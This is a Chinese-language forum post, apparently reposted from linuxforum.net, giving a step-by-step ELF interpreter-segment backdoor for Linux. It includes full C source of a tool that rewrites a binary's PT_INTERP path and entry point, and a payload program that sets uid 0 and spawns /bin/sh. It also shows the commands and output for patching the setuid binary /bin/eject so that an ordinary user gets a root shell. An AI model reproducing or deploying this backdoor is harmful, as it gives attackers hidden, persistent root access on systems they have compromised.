用elf-write工具写interpreter后门--------------------------------------------------------------------------------
文摘出处:http://www.linuxforum.net/forum/showflat.php?Cat=&Board=security&Number=527296&page=0&view=collapsed&sb=5&o=31&fpart=all
grip2
用elf-write工具写interpreter后门(elf interpreter segment backdoor) 
gript2@hotmail.com 
所谓的interpreter后门就是通过更改elf文件的interpreter segment来进行后门代码触发执行的一种方法。 
在下面我给出了这种技术的一个示范,同时给出了一个修改elf文件的程序(目前只有两个小功能)作为辅助工具。 
总的来说这种技术难度不高,但是其有一些自己的特点,这些特点我在下面的示例中没有进行描述,但是你可以 
通过自己的思考去发掘;P 
1. 将我在后面提供的程序编译,得到一个小工具gew和一个示例程序foo 
----------------------------------- 
grip2@linux:~/tmp/elf-write> ls 
. .. foo.c g-elf-write.c Makefile 
grip2@linux:~/tmp/elf-write> make 
gcc foo.c -o foo -static 
gcc -O2 g-elf-write.c -o gew -Wall 
grip2@linux:~/tmp/elf-write> ls 
. .. foo foo.c g-elf-write.c gew Makefile 
grip2@linux:~/tmp/elf-write> ls gew foo -l 
-rwxr-xr-x 1 grip2 users 2201192 2004-11-24 05:52 foo 
-rwxr-xr-x 1 grip2 users 11755 2004-11-24 05:52 gew 
2. 选择一个用来弹出interpreter的setuid程序(如果不放心,你可以先做备份) 
----------------------------------- 
linux:~/tmp/elf-write # find / -perm -4000 -print 
... 
/usr/bin/chsh 
/usr/bin/expiry 
/usr/bin/gpasswd 
/usr/bin/newgrp 
/usr/bin/passwd 
/usr/bin/gpg 
/usr/bin/at 
/bin/eject 
/bin/ping 
/bin/ping6 
/bin/su 
/bin/mount 
/bin/umount 
... 
linux:~/tmp/elf-write # ls -l /bin/eject 
-rwsr-xr-x 1 root audio 22630 2004-04-06 09:19 /bin/eject 
3使用gew工具修改选中的setuid程序的interpreter,使其指向我们的foo程序 
----------------------------------- 
linux:~/tmp/elf-write # ./gew 
uid: 0 euid 0 
gew - ELF write v0.0.1 written by grip2 <gript2@hotmail.com> 
Usage: ./gew [-i new_interp][-e new_entry] elf-file 
linux:~/tmp/elf-write # ./gew -i /home/grip2/tmp/elf-write/foo /bin/eject 
uid: 0 euid 0 
Better luck next file :-P <-- 这里说明我们指定的新interpreter路径超长了 
(因为如果新的interpreter的长度超过现有的段长度,要 
使其生效,就要调整目标文件的大小,而这是我们不愿看到 
的,因此做了限制) 
linux:~/tmp/elf-write # ./gew -i /home/grip2/foo /bin/eject 
uid: 0 euid 0 
linux:~/tmp/elf-write # strings /bin/eject|grep foo 
/home/grip2/foo <-- OK,这次成功了 
4 将foo复制到我们在上面给的新interpreter路径 
----------------------------------- 
linux:~/tmp/elf-write # su - grip2 
grip2@linux:~> id 
uid=716(grip2) gid=100(users) groups=14(uucp),16(dialout),17(audio),33(video),100(users) 
grip2@linux:~> pwd 
/home/grip2 
grip2@linux:~> cp tmp/elf-write/foo . 
grip2@linux:~> ll foo 
-rwxr-xr-x 1 grip2 users 2201192 2004-11-24 06:04 foo 
5 以普通用户的身份运行我们修改的setuid程序,这里是eject,看看效果。 
----------------------------------- 
grip2@linux:~> eject 
sh-2.05b# pwd 
/home/grip2 
sh-2.05b# id <-- 我们已经是root了 
uid=0(root) gid=100(users) groups=14(uucp),16(dialout),17(audio),33(video),100(users) 
sh-2.05b# exit 
grip2@linux:~> 
附注:有些情况你可能需要对你的foo进行一些处理,需要重新指定做为interpreter的foo的程序 
入口点,这时你可以使用gew的第二个功能(如果你现在没遇到这种情况,就不需要看这里的内容了) 
----------------------------------- 
grip2@linux:~> objdump -D foo|grep main 
804815c: e8 1f 01 00 00 call 8048280 <__libc_start_main> 
... 
08048244 <main>: 
... 
08048280 <__libc_start_main>: 
804829f: 74 0f je 80482b0 <__libc_start_main+0x30> 
80482d7: 75 f7 jne 80482d0 <__libc_start_main+0x50> 
80482e7: 0f 85 bd 00 00 00 jne 80483aa <__libc_start_main+0x12a> 
8048306: 0f 85 33 01 00 00 jne 804843f <__libc_start_main+0x1bf> 
804832b: 77 5f ja 804838c <__libc_start_main+0x10c> 
8048346: 77 28 ja 8048370 <__libc_start_main+0xf0> 
804836e: 76 e0 jbe 8048350 <__libc_start_main+0xd0> 
804837a: 75 0b jne 8048387 <__libc_start_main+0x107> 
8048385: 76 a9 jbe 8048330 <__libc_start_main+0xb0> 
804838a: 7f 0c jg 8048398 <__libc_start_main+0x118> 
804839e: 0f 86 0d 01 00 00 jbe 80484b1 <__libc_start_main+0x231> 
80483b4: 74 17 je 80483cd <__libc_start_main+0x14d> 
80483ed: 74 17 je 8048406 <__libc_start_main+0x186> 
804840e: 0f 85 93 00 00 00 jne 80484a7 <__libc_start_main+0x227> 
8048419: 74 03 je 804841e <__libc_start_main+0x19e> 
8048456: 74 21 je 8048479 <__libc_start_main+0x1f9> 
8048477: 7f 0c jg 8048485 <__libc_start_main+0x205> 
80484a2: e9 71 fe ff ff jmp 8048318 <__libc_start_main+0x98> 
80484ac: e9 63 ff ff ff jmp 8048414 <__libc_start_main+0x194> 
80484b8: eb c6 jmp 8048480 <__libc_start_main+0x200> 
80502f3: e8 c8 0f 00 00 call 80512c0 <_nl_load_domain> 
80504ae: e8 ad 0a 00 00 call 8050f60 <_nl_free_domain_conv> 
80504bb: e8 70 0b 00 00 call 8051030 <_nl_init_domain_conv> 
8050b2f: e8 0c 02 00 00 call 8050d40 <_nl_find_domain> 
... 
... 
080a30a8 <_dl_main_searchlist>: 
080a3100 <_nl_current_default_domain>: 
080a53e0 <main_arena>: 
080a5904 <_nl_loaded_domains>: 
080a5d20 <_nl_domain_bindings>: 
grip2@linux:~> ./gew -e 0x08048244 foo 
uid: 716 euid 716 
grip2@linux:~> readelf -l foo 
Elf file type is EXEC (Executable file) 
Entry point 0x8048244 
There are 5 program headers, starting at offset 52 
Program Headers: 
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align 
LOAD 0x000000 0x08048000 0x08048000 0x5aa78 0x5aa78 R E 0x1000 
LOAD 0x05b000 0x080a3000 0x080a3000 0x01b7c 0x02e40 RW 0x1000 
NOTE 0x0000d4 0x080480d4 0x080480d4 0x00020 0x00020 R 0x4 
NOTE 0x0000f4 0x080480f4 0x080480f4 0x00018 0x00018 R 0x4 
STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4 
Section to Segment mapping: 
Segment Sections... 
00 .init .text __libc_freeres_fn .fini .rodata __libc_subfreeres .gnu.linkonce.ro.__strtol_ul_rem_tab .gnu.linkonce.ro.__strtol_ul_max_tab __libc_atexit .gnu.linkonce.ro.__strtol_ull_rem_tab .gnu.linkonce.ro.__strtol_ull_max_tab .note.ABI-tag .note.SuSE 
01 .data .eh_frame .ctors .dtors .jcr .got .bss __libc_freeres_ptrs 
02 .note.ABI-tag 
03 .note.SuSE 
04 
/*
* gew - ELF write v0.0.1 
* written by grip2 <gript2@hotmail.com>
*/
#include <elf.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
void usage(char *argv[])
{
    fprintf(stderr,
        "gew - ELF write v0.0.1 written by grip2 <gript2@hotmail.com>\n");
    fprintf(stderr, "Usage: %s [-i new_interp]" 
            "[-e new_entry] elf-file\n", 
            argv[0]);
    exit(1);
}
int main(int argc, char *argv[])
{
    int fd = -1;
    Elf32_Ehdr *ehdr = NULL;
    Elf32_Phdr *phdr;
    Elf32_Shdr *shdr;
    int i;
    struct stat stat;
    int ch;
    char *pchar;
    char opt_read = 1, opt_entry = 0, opt_interp = 0;
    char filename[64];
    char new_interp[256];
    unsigned long new_entry = 0;
    int euid = geteuid();
    setuid(getuid());
    setuid(euid);
    printf("uid: %d euid %d\n", getuid(), geteuid());
    
    while ((ch = getopt(argc, argv, "e:i:")) != -1) { /* get option */
        switch (ch) {
        case 'e':
            new_entry = strtoul(optarg, &pchar, 16);    
            if (*pchar != '\0')
                usage(argv);
            opt_entry = 1;
            opt_read = 0;
            break;
        case 'i':
            new_interp[sizeof(new_interp)-1] = 0;
            strncpy(new_interp, optarg, sizeof(new_interp));
            if (new_interp[sizeof(new_interp)-1] != 0)
                usage(argv);
            opt_interp = 1;
            opt_read = 0;
            break;
        case '?':
        default:
            break;
        }
    }
    if (argv[optind] == NULL)
        usage(argv);
    strcpy(filename, argv[optind]);
    fd = open(filename, O_RDWR);
    if (fd == -1) {
        perror(argv[1]);
        goto err;
    }
    if (fstat(fd, &stat) == -1) {
        perror("fstat");
        goto err;
    }
    ehdr = mmap(0, stat.st_size, PROT_WRITE|PROT_READ, MAP_SHARED, fd, 0);
    if (ehdr == MAP_FAILED) {
        perror("mmap ehdr");
        goto err;
    }
    
    /* Check ELF magic-ident */
    if (ehdr->e_ident[EI_MAG0] != 0x7f
        || ehdr->e_ident[EI_MAG1] != 'E'
        || ehdr->e_ident[EI_MAG2] != 'L'
        || ehdr->e_ident[EI_MAG3] != 'F'
        || ehdr->e_ident[EI_CLASS] != ELFCLASS32
        || ehdr->e_ident[EI_DATA] != ELFDATA2LSB
        || ehdr->e_ident[EI_VERSION] != EV_CURRENT
        || ehdr->e_type != ET_EXEC 
        || ehdr->e_machine != EM_386
        || ehdr->e_version != EV_CURRENT
        ) {
        fprintf(stderr, "File type not supported\n");
        goto err;
    }
    phdr = (Elf32_Phdr *) ((unsigned long) ehdr + ehdr->e_phoff);
    shdr = (Elf32_Shdr *) ((unsigned long) ehdr + ehdr->e_shoff);
    i = 0;
    if (opt_read || opt_interp) while (1) { 
        if (i == ehdr->e_phnum) { 
            fprintf(stderr, "Interpreter not found.\n"); 
            if (opt_read)
                break;
            goto err; 
        } 
        if (phdr[i].p_type != PT_INTERP) {
            i++;
            continue;
        }
        if (opt_interp) {
            if (phdr[i].p_filesz <= strlen(new_interp)) {
                fprintf(stderr, "Better luck next file :-P\n");    
                goto err;
            }
            strncpy((void *) ehdr + phdr[i].p_offset, 
                    new_interp, phdr[i].p_filesz); 
        } else if (opt_read) {
            printf("current interpreter: %s\n", 
                    (char *) ehdr + phdr[i].p_offset);
        }
        break;
    }    
    if (opt_entry)
        ehdr->e_entry = new_entry;
    else if (opt_read)  
        printf("current entry: %p\n", (void *) ehdr->e_entry);
    munmap(ehdr, stat.st_size);
    close(fd);
    return 0;
err:
    if (ehdr)
        munmap(ehdr, stat.st_size);
    if (fd != -1)
        close(fd);
    return 1;
}
foo.c
int main()
{
    setuid(0);
    system("/bin/sh");
    return 0;
}
Makefile
all: foo gew
gew: g-elf-write.c
    gcc -O2 $< -o $@ -Wall
foo: foo.c
    gcc $< -o $@ -static 
clean:
    rm *.o -rf
    rm foo -rf
    rm gew -rf